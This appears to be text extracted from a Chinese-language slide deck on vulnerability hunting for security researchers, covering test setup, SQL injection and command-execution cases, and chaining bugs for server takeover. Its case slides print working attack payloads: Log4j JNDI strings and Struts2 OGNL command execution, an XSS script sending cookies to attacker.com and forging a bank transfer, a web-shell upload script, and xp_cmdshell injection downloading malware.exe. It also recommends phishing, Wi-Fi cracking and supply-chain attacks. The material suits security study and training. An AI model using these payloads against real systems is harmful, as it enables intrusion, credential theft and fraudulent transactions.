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高质量漏洞挖掘的根本原理
人与人的对抗

当安全研究人员对业务系统进行漏洞挖掘时，其实是在与人进行对抗，它不单纯是指技术方面的对抗，更

是安全从业者们深层思想和认知的对抗。因此我们在对目标系统进行漏洞挖掘时，需要对目标系统进行深

入研究和分析，侧面得出研发人员的思想、认知、能力和技术水平。

能力 技术思想 认知



高质量漏洞挖掘的前期准备
工欲善其事 必先利其器

在进行漏洞挖掘前，我们必须根据目标系统的业务属性，提前准备和调试好漏洞挖掘环境。漏洞挖掘环境

需要提前准备内容的有：系统文件操作监控、端口服务开放监控、服务运行进程监控、开启系统内部调试

模式和日志记录、数据库及中间件运行监控、开启系统运行和访问日志、逆向分析调试工具、代码审计工

具、抓包分析调试工具、盲打平台、公共组件漏洞分析、模糊测试工具等。

01
应用服务进程监控
在测试过程中，监控应用服务进程运行状态是否出

现异常，适用于缓冲区溢出、命令执行等漏洞。

02
网络请求抓包分析
在测试过程中，监控应用服务对外的网络请求，使

用抓包工具进行调试分析，适用于多数安全漏洞。

04
系统文件操作监控

在测试过程中，监控系统目录中是否出现特定内容

的异常文件，适用于文件上传、命令执行等漏洞。

05
代码及组件代码审计

在测试过程中，对应用系统代码和引用的组件进行

审计，适用于多数安全漏洞。

03
应用服务日志分析
在测试过程中，开启应用服务调试模式，分析应用

服务生成的日志，适用于拒绝服务、命令执行等。
06

应用程序逆向分析
在测试过程中，对应用程序和组件进行逆向分析，

根据报错和异常进行调试，适用于多数安全漏洞。



高质量漏洞挖掘的基本流程
关注细节 决定成败

01 漏洞挖掘过程中需要使用以下技术进行测试

02 漏洞挖掘过程中需要使用以下内容进行分析

03 漏洞挖掘过程中需要对漏洞进行有效性验证

漏洞测试

目标
系统

漏洞分析

漏洞验证

端口测试 指纹识别 账号测试

模糊测试

接口测试

漏洞测试 逆向分析 代码审计

请求响应

数据库日志

中间件日志

异常报错

网络请求 盲打日志

文件操作 系统日志

应用漏洞验证

底层漏洞验证
漏洞研判快速发现漏洞点 输出漏洞报告



高质量漏洞挖掘的案例分析
SQL注入漏洞挖掘步骤

开启数据库检索日志 SQL注入样本测试 分析业务系统异常 SQL注入漏洞验证
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在安全测试前开启数据库检索日

志，确保安全研究人员在对系统

测试时所产生的SQL执行语句被

日志有效记录，便于安全研究人

员审计分析。

由于自动化测试会遗漏系统功能

和接口，在测试时优先采用人工

的方式进行，收集每一个有效的

网络请求，使用SQL注入样本替

换请求参数值进行模糊测试。

根据SQL注入类型，观察和分析

网络请求中时间、内容、响应头

是否存在异常现象，可结合SQL

检索日志进行分析研判找出SQL

注入漏洞触发位置。

安全研究人员在发现SQL注入漏

洞疑似触发点后，可采用人工或

自动化的方式对触发点进行漏洞

验证，以确定发现的SQL注入漏

洞是否可被有效利用。



高质量漏洞挖掘的案例分析
SQL注入漏洞挖掘案例

开启数据库检索日志
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高质量漏洞挖掘的案例分析
SQL注入漏洞挖掘案例

SQL注入测试用例
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高质量漏洞挖掘的案例分析
SQL注入漏洞挖掘案例

分析业务系统异常

03



高质量漏洞挖掘的案例分析
SQL注入漏洞挖掘案例

分析业务系统异常

03



高质量漏洞挖掘的案例分析
SQL注入漏洞挖掘案例

分析业务系统异常
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高质量漏洞挖掘的案例分析
SQL注入漏洞挖掘案例

SQL注入漏洞验证
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高质量漏洞挖掘的案例分析
命令执行漏洞挖掘案例

使用盲打平台接收网络请求

01



高质量漏洞挖掘的案例分析
命令执行漏洞挖掘案例

1.  Log4j漏洞测试用例：
${jndi:ldap://attacker.com:1389/evil}
${jndi:rmi://attacker.com:1389/evil}

2. Struts2漏洞测试用例：
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymp
hony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#respon
se.flush(),#response.close()}
%{#a=(new java.lang.ProcessBuilder(new 
java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new 
java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new 

char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.
getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%2
7%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023
vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec
(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntim
e()))

命令执行漏洞测试用例
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高质量漏洞挖掘的案例分析
命令执行漏洞挖掘案例

在接口进行命令执行测试

03

POST /login HTTP/1.1

Accept: ${jndi:ldap://attacker.com:1389/evil}

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Content-Type: application/x-www-form-urlencoded

Cookie: JSESSIONID=12qq3k4r0u4ttj0pernvsq73v5

Host: www.fbi.com

Origin: http://www.fbi.com

Referer: http://www.fbi.com/login.php

User-Agent: ${jndi:rmi://attacker.com:1389/evil}

username=${jndi:rmi://attacker.com:1389/evil}&password=admin&login=



高质量漏洞挖掘的案例分析
命令执行漏洞挖掘案例

反弹SHELL获取服务器权限
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高质量漏洞挖掘的现状分析
注重漏洞组合 提升漏洞质量

漏洞挖掘质量现状

当安全研究人员对系统进行黑灰

盒漏洞挖掘时，白帽子发现的安

全漏洞质量往往都比较低，由于

单个漏洞无法进行有效利用白帽

子无奈选择上交。

树立正确安全观

安全研究人员要树立一个正确安

全观，没有什么系统是绝对安全

的。以此思想为指导，任何系统

都是存在安全漏洞的，其中不乏

有高风险等级的安全漏洞。

正常关键功能再利用

安全研究人员在对目标系统进行

漏洞挖掘时，要对目标系统中正

常的关键功能也要进行收集和记

录，方便后续如果有发现可被利

用的漏洞时进行利用。

注重安全漏洞组合

安全研究人员在对目标系统进行

漏洞挖掘时，如果发现的漏洞质

量比较低，不要急于进行漏洞提

交，应考虑是否可以将多个漏洞

进行组合，实现漏洞利用最大化。
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高质量漏洞挖掘的案例分析
如何进行安全漏洞组合思路一

漏洞组合：XSS + CSRF

漏洞场景：攻击者利用XSS漏洞注入恶意脚本，诱使用户在已认证的会话

中执行CSRF攻击。

利用步骤：

1. 存储跨站： 攻击者在评论区注入恶意JavaScript代码。

2. 用户访问：当受害者访问该页面时，恶意脚本在其浏览器中执行。

3. CSRF请求：脚本自动发送请求，执行未授权的操作。

严重可获取服务器权限，掌控高质量漏洞主动权。

漏洞组合：不安全的直接对象引用 + 访问控制缺失 + 敏感信息泄露

漏洞场景：攻击者通过不安全的直接对象引用访问未授权的资源，获取敏

感信息。

利用步骤：

1. 对象引用：攻击者在URL中修改参数值遍历接口数据和下载文件。

2. 访问未授权数据：接口没有权限鉴权，攻击者可获取他人接口内容。

3. 信息泄露：攻击者获取敏感信息和文件，如账号密码、敏感文档等。

可获取服务器权限，掌控高质量漏洞主动权。



高质量漏洞挖掘的案例分析
安全漏洞挖掘组合案例

XSS + CSRF漏洞组合

获取Cookie和执行转账操作

01

<script>
    // 发送用户的cookie到攻击者的服务器
    var img = new Image();
    img.src = "http://attacker.com/steal?cookie=" + document.cookie;
    // 创建一个隐藏的表单并自动提交
    var form = document.createElement('form');
    form.method = 'POST';
    form.action = 'http://bank.com/transfer';
    form.innerHTML = '<input type="hidden" name="amount" value="1000">' +
                     '<input type="hidden" name="to" value="attacker_account">' +
                     '<input type="hidden" name="csrf_token" value="fake_csrf_token">';
    document.body.appendChild(form);
    form.submit();
</script>



高质量漏洞挖掘的案例分析
安全漏洞挖掘组合案例

XSS + CSRF漏洞组合

上传WebShell

02

<script>
    // 创建一个隐藏的表单用于上传Web Shell
    var form = document.createElement('form');
    form.method = 'POST';
    form.action = 'http://vulnerable-website.com/upload';
    form.enctype = 'multipart/form-data';

    // 创建一个文件输入，上传Web Shell
    var inputFile = document.createElement('input');
    inputFile.type = 'file';
    inputFile.name = 'file';
    inputFile.accept = '.php'; // 假设Web Shell是PHP文件

    // 创建一个隐藏的字段，指定要上传的Web Shell文件
    var blob = new Blob(["<?php echo 'Hello, World!'; ?>"], { type: 'application/x-php' });
    var file = new File([blob], "shell.php", { type: 'application/x-php' });
    var dataTransfer = new DataTransfer();
    dataTransfer.items.add(file);
    inputFile.files = dataTransfer.files;

    form.appendChild(inputFile);
    document.body.appendChild(form);
    form.submit(); // 自动提交表单
</script>



高质量漏洞挖掘的案例分析
安全漏洞挖掘组合案例

不安全的直接对象引用

+ 信息泄露漏洞组合

获取开发文档和服务器权限

03

GET /download/file.asp?id=$1$ HTTP/1.1

Accept: 

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cache-Control: max-age=0

Connection: keep-alive

Cookie: PHPSESSION=BMKBHEEAFNGECGPMIFHIOBCC

Host: www.fbi.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like 

Gecko) Chrome/129.0.0.0 Safari/537.36



高质量漏洞挖掘的案例分析
安全漏洞挖掘组合案例

不安全的直接对象引用

+ 信息泄露漏洞组合

获取开发文档和服务器权限

03

1. 亚*逊账号

用户名: aws

密码: fuckme!

访问密钥: AKIAIXXXXXXXXXXXXXXXX

秘密访问密钥: wJalrXUXXXXXXXXXXXXXXXXCYEXAMPLEKEY

2. 阿*云账号

用户名: a*yun

密码: fuckme!

Access Key ID: LTAI4GXXXXXXXXXXXXXXXX

Access Key Secret: 6zXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

3. 系统账号

地址：http://www.fbi.com/admin/ 用户名：admin 密码：fuckme



高质量漏洞挖掘的案例分析
安全漏洞挖掘组合案例

不安全的直接对象引用

+ 信息泄露漏洞组合

获取开发文档和服务器权限

04



高质量漏洞挖掘的案例分析
如何进行安全漏洞组合思路二

漏洞组合：SQL注入 + 命令执行

漏洞场景：攻击者利用SQL注入漏洞开启命令执行组件、写入定时任务文

件、替换系统启动文件等配置，触发命令执行获取服务器权限。

利用步骤：

1. SQL注入： 攻击者利用SQL注入漏洞，判断当前数据库用户权限。

2. 开启命令执行模块：当数据库运行为管理员权限时，可通过SQL注入开

启命令执行模块执行系统命令，获取服务器最高权限。

3. 写入定时任务文件：当数据库运行为管理员权限时，可编辑定时任务文

件导出至定时任务目录，获取服务器最高权限，。

可获取服务器权限，掌控高质量漏洞主动权。

漏洞组合：SSRF + 远程命令执行

漏洞场景：攻击者可以利用 SSRF 漏洞访问内部服务，并结合业务系统可

能存在的命令执行漏洞来执行命令获取服务器权限。

利用步骤：

1. SSRF内网探测：攻击者利用SSRF漏洞进行内网探测获取内网应用。

2. 加载应用漏洞：针对内网应用加载对应的命令执行漏洞进行攻击测试。

3. 获取主机权限：命令执行漏洞攻击成功后获取服务器权限。

可获取服务器权限，掌控高质量漏洞主动权。



高质量漏洞挖掘的案例分析
安全漏洞挖掘组合案例

SQL注入 + 命令执行

获取服务器权限

01

1. SQL 注入尝试执行系统命令：
攻击者可以通过构造特定的输入来利用 SQL 注入漏洞。例如，攻击者可以在用户名字段中输入以下内容：
' OR '1'='1'; EXEC xp_cmdshell('whoami'); --

2. SQL 注入攻击完整SQL 查询：
SELECT * FROM users WHERE username = '' OR '1'='1'; EXEC xp_cmdshell('whoami'); --' AND 
password = 'anything'

3. 获取服务器权限：
攻击者可以通过类似的方式执行任意命令。例如，下载一个恶意文件：
' OR '1'='1'; EXEC xp_cmdshell('powershell -Command "Invoke-WebRequest -Uri 
http://fbi.com/malware.exe -OutFile C:\\malware.exe"'); --



高质量漏洞挖掘的案例分析
安全漏洞挖掘组合案例

SSRF + 命令执行

获取服务器权限

02

1. 识别 SSRF 漏洞：
攻击者发现应用程序允许用户输入 URL 进行日志记录，但没有对输入进行适当的验证。
https://www.fbi.com/api?url=http://10.10.10.10

2. 构造恶意请求：
攻击者可以构造一个恶意的 URL，利用 Log4j 的命令执行漏洞。
https://www.fbi.com/api?url=http://10.10.10.10/log?str=${jndi:ldap://attacker.com:1389/a}

3. 利用 SSRF 访问 Log4j 漏洞：
搭建 LDAP 服务器，攻击者通过 SSRF 漏洞访问 Log4j 漏洞，触发命令执行。

4.执行任意命令，获取服务器权限：
一旦 Log4j 触发了 JNDI 查找，攻击者的服务器将返回恶意代码，执行任意命令获取服务器权限。



高质量漏洞挖掘的案例分析
安全漏洞挖掘组合案例

SSRF + 命令执行

获取服务器权限
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高质量漏洞挖掘的对抗式思路
道与术 攻与防

当安全研究人员对目标系统进行漏洞挖掘时会遇到各种各样的技术障碍，很大程度上会干预安全研究人员

进行下一步工作。因此，安全研究人员对目标进行漏洞挖掘时应积极主动采用各种技术和方法与目标系统

的安全防御进行对抗。

决策 执行侦查 分析



高质量漏洞挖掘的对抗式思路
道与术 攻与防

01
逆向分析
通过逆向分析寻找目标系统编译后的程序是否存在的可

被利用的安全漏洞，验证后形成安全漏洞EXP进行利用。

02
代码分析
通过代码分析寻找目标系统代码中是否存在的可被利用

的安全漏洞，验证后形成安全漏洞EXP进行利用。

03
安全防御绕过
通过分析目标防御系统对安全防御策略及能力，寻找目

标防御系统的安全防御缺陷，绕过安全防御限制。

04
社会工程

必要时，可以利用社会工程手段收集目标系统信息，

突破和降低对目标系统进行漏洞挖掘的难度。

05
近源渗透

必要时，可以通过各种近源的手段对目标系统进行网

络渗透，对目标系统进行安全漏洞挖掘。

06
供应链安全

必要时，可以通过供应链获取目标系统测试环境或部

署代码，进行高质量安全漏洞挖掘。



技

术

手

段

高质量漏洞挖掘的对抗式组合

逆向分析
通过逆向反编译对目标程序进行调试分析，寻

找正面突破点，可能发现的漏洞为：敏感信息

泄露、命令执行、缓冲区溢出、权限提升等。

正面突破

代码分析
通过代码审计对目标系统源代码进行灰白盒分

析，寻找正面突破点，可能发现的漏洞为：敏

感信息泄露、越权操作、SQL注入、反序列化，

逻辑漏洞等。

正面突破

安全防御绕过
通过对目标系统使用的安全防御产品进行安全

策略分析，寻找正面突破点，可能发现的漏洞

为：WAF防御绕过、防御策略缺陷、系统策略

配置缺陷。

正面突破

社会工程
通过采用社会工程学的方式，使用精心构造的

攻击系统对目标系统或人员进行网络钓鱼、水

坑攻击和社交投毒，从而获取目标网络权限。

侧翼迂回

近源渗透
通过采用近源渗透的方式，使用专业的攻击工

具对目标系统办公点无线热点、门禁进行网络

攻击，从而获取目标网络权限。

侧翼迂回

供应链安全
通过对供应链研发的业务系统进行漏洞挖掘和

分析，使用精心构造的攻击工具对目标系统或

人员进行网络攻击，从而获取目标网络权限对

真正的目标发起迂回攻击。

侧翼迂回

正面突破 侧翼迂回



高质量漏洞挖掘的案例分析
对抗式安全漏洞挖掘组合案例

外网渗透 + 上传接口未授权

访问+ 任意文件上传

真实合法项目 

01

漏洞发现：目标系统前端页面采用伪静态进行访问，通过查看Cookie信息发现是采用Windows+IIS+ASP.Net
架构。



高质量漏洞挖掘的案例分析
对抗式安全漏洞挖掘组合案例

外网渗透 + 上传接口未授权

访问+ 任意文件上传

真实合法项目

01

漏洞发现：从外网渗透过程中发现目标系统有个文件上传接口，经过测试该上传接口存在未授权访问和任意文
件上传漏洞。



高质量漏洞挖掘的案例分析
对抗式安全漏洞挖掘组合案例

外网渗透 + 上传接口未授权

访问+ 任意文件上传

真实合法项目 

01

漏洞发现：通过上传ASPX文件后，发现测试脚本无法直接运行。



高质量漏洞挖掘的案例分析
对抗式安全漏洞挖掘组合案例

外网渗透 + 上传接口未授权

访问+ 任意文件上传

真实合法项目 

02

近源渗透：由于上传测试脚本后访问发现无法直接运行，考虑到目标企业距离公司很近，于是就想到是否可以
通过近源渗透的方式进行，于是就到目标企业附近踩点，发现启用很多私搭乱建的无线热点。



高质量漏洞挖掘的案例分析
对抗式安全漏洞挖掘组合案例

外网渗透 + 上传接口未授权

访问+ 任意文件上传

真实合法项目 

02

近源渗透：由于上传测试脚本后访问发现无法直接运行，考虑到目标企业距离公司很近，于是就想到是否可以
通过近源渗透的方式进行，于是就到目标企业附近踩点，发现启用很多私搭乱建的无线热点。



高质量漏洞挖掘的案例分析
对抗式安全漏洞挖掘组合案例

无线渗透 + 上传接口未授权

访问+ 任意文件上传 + 

Getshell

真实合法项目 

03

漏洞突破：通过WIFI工具获取WIFI密码后，使用电脑登录WIFI后，通过之前上传接口上传一句话脚本，成功获
取目前SHELL权限。



高质量漏洞挖掘的对抗式组合

逆向分析 代码分析 防御绕过 社会工程 近源渗透 供应链安全

供应链安全 地址伪造 信息泄露 无线破解 软件应用

拒绝服务 SQL注入 配置错误 账号权限 无线钓鱼 硬件设备

信息泄露 加密通信 邮件钓鱼 BabUSB 服务托管

权限提升 文件上传 规则绕过 短信钓鱼 遥控门禁 业务外包

代码执行 越权操作 编码绕过 社交钓鱼 硬件植入 人员外包

格式化字符串 反序列化 混淆加密 心理操纵 外设网络 预留后门

加载劫持 代码注入 并发绕过 水坑攻击 指纹门禁 软件升级

条件竞争 跨站脚本 逻辑漏洞 身份冒充 安防网络 代码污染

命令执行 参数污染 可信关系 感应门禁 组件污染




